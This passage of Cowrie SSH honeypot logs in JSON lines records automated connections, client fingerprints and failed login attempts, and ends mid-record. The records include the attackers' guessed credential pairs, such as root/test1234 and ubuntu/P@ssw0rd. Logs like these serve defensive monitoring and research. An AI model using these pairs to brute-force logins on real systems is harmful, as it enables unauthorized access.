{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:46.164358Z","src_ip":"2.57.121.25","session":"5860d462e433","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16061995","message":"login attempt [user/16061995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:46.655051Z","src_ip":"2.57.121.25","session":"5860d462e433","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44124,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c35811fb43a","protocol":"ssh","message":"New connection: 83.168.110.85:44124 (159.203.135.109:22) [session: 9c35811fb43a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:47.144209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:47.149298Z","src_ip":"83.168.110.85","session":"9c35811fb43a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:47.365075Z","src_ip":"83.168.110.85","session":"9c35811fb43a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"160585","message":"login attempt [user/160585] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:47.761438Z","src_ip":"2.57.121.25","session":"5860d462e433","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:48.055789Z","src_ip":"83.168.110.85","session":"9c35811fb43a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16051994","message":"login attempt [user/16051994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:48.868415Z","src_ip":"2.57.121.25","session":"5860d462e433","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:49.182076Z","src_ip":"83.168.110.85","session":"9c35811fb43a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16041979","message":"login attempt [user/16041979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:49.975415Z","src_ip":"2.57.121.25","session":"5860d462e433","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16041977","message":"login attempt [user/16041977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:51.082867Z","src_ip":"2.57.121.25","session":"5860d462e433","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:52.189429Z","src_ip":"2.57.121.25","session":"5860d462e433","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42236,"dst_ip":"159.203.135.109","dst_port":22,"session":"05583c99cf6c","protocol":"ssh","message":"New connection: 83.168.110.85:42236 (159.203.135.109:22) [session: 05583c99cf6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:57.716481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:57.721865Z","src_ip":"83.168.110.85","session":"05583c99cf6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:57.844358Z","src_ip":"83.168.110.85","session":"05583c99cf6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:58.401973Z","src_ip":"83.168.110.85","session":"05583c99cf6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:20:59.526595Z","src_ip":"83.168.110.85","session":"05583c99cf6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51004,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2466fa16b95","protocol":"ssh","message":"New connection: 83.168.110.85:51004 (159.203.135.109:22) [session: d2466fa16b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:08.165235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:08.170179Z","src_ip":"83.168.110.85","session":"d2466fa16b95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:08.307930Z","src_ip":"83.168.110.85","session":"d2466fa16b95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:08.808999Z","src_ip":"83.168.110.85","session":"d2466fa16b95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:09.932293Z","src_ip":"83.168.110.85","session":"d2466fa16b95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":34628,"dst_ip":"10.17.0.5","dst_port":22,"session":"66dd481c8614","protocol":"ssh","message":"New connection: 79.3.96.178:34628 (10.17.0.5:22) [session: 66dd481c8614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:16.241162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:16.245976Z","src_ip":"79.3.96.178","session":"66dd481c8614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:16.382079Z","src_ip":"79.3.96.178","session":"66dd481c8614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc.123","message":"login attempt [root/abc.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:16.955094Z","src_ip":"79.3.96.178","session":"66dd481c8614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:18.093280Z","src_ip":"79.3.96.178","session":"66dd481c8614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40592,"dst_ip":"159.203.135.109","dst_port":22,"session":"e223fb5397df","protocol":"ssh","message":"New connection: 83.168.110.85:40592 (159.203.135.109:22) [session: e223fb5397df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:18.783959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:18.788713Z","src_ip":"83.168.110.85","session":"e223fb5397df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:18.946055Z","src_ip":"83.168.110.85","session":"e223fb5397df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:19.410261Z","src_ip":"83.168.110.85","session":"e223fb5397df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:20.534311Z","src_ip":"83.168.110.85","session":"e223fb5397df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60202,"dst_ip":"159.203.135.109","dst_port":22,"session":"7353dc2b540b","protocol":"ssh","message":"New connection: 83.168.110.85:60202 (159.203.135.109:22) [session: 7353dc2b540b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:29.461495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:29.465398Z","src_ip":"83.168.110.85","session":"7353dc2b540b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:29.671679Z","src_ip":"83.168.110.85","session":"7353dc2b540b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:30.040221Z","src_ip":"83.168.110.85","session":"7353dc2b540b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:31.164405Z","src_ip":"83.168.110.85","session":"7353dc2b540b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56322,"dst_ip":"159.203.135.109","dst_port":22,"session":"72c5a8b2f251","protocol":"ssh","message":"New connection: 83.168.110.85:56322 (159.203.135.109:22) [session: 72c5a8b2f251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:39.947475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:40.080180Z","src_ip":"83.168.110.85","session":"72c5a8b2f251","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:40.084023Z","src_ip":"83.168.110.85","session":"72c5a8b2f251","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:40.594312Z","src_ip":"83.168.110.85","session":"72c5a8b2f251","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:41.718347Z","src_ip":"83.168.110.85","session":"72c5a8b2f251","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":58526,"dst_ip":"159.203.135.109","dst_port":22,"session":"5988eac059d2","protocol":"ssh","message":"New connection: 83.168.110.85:58526 (159.203.135.109:22) [session: 5988eac059d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:50.713953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:21:50.747654Z","src_ip":"83.168.110.85","session":"5988eac059d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com"